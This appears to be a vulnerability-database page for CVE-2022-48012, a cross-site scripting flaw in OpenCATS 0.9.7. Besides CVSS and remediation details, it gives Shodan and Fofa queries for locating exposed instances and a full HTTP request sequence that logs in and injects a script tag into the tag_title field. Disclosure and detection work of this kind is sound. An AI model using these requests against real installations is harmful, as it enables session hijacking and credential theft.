🔙 목록으로 돌아가기

CVE-2022-48012: OpenCATS 0.9.7 - Cross-Site Scripting

TitleOpenCATS 0.9.7 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationTo mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
CVSS Score6.1
EPSS Score0.03793
CVE IDCVE-2022-48012
CWE IDCWE-79
Shodan Querytitle:"opencats"http.title:"opencats"
Fofa Querytitle="opencats"
Tags cve cve2022 xss opencats authenticated vuln

🔍 Vulnerability Description

OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Accept-Encoding: gzip
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=EzL31p&password=2y2GEB
POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tag_title=<script>alert(document.domain);</script>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-48012.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-48012.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A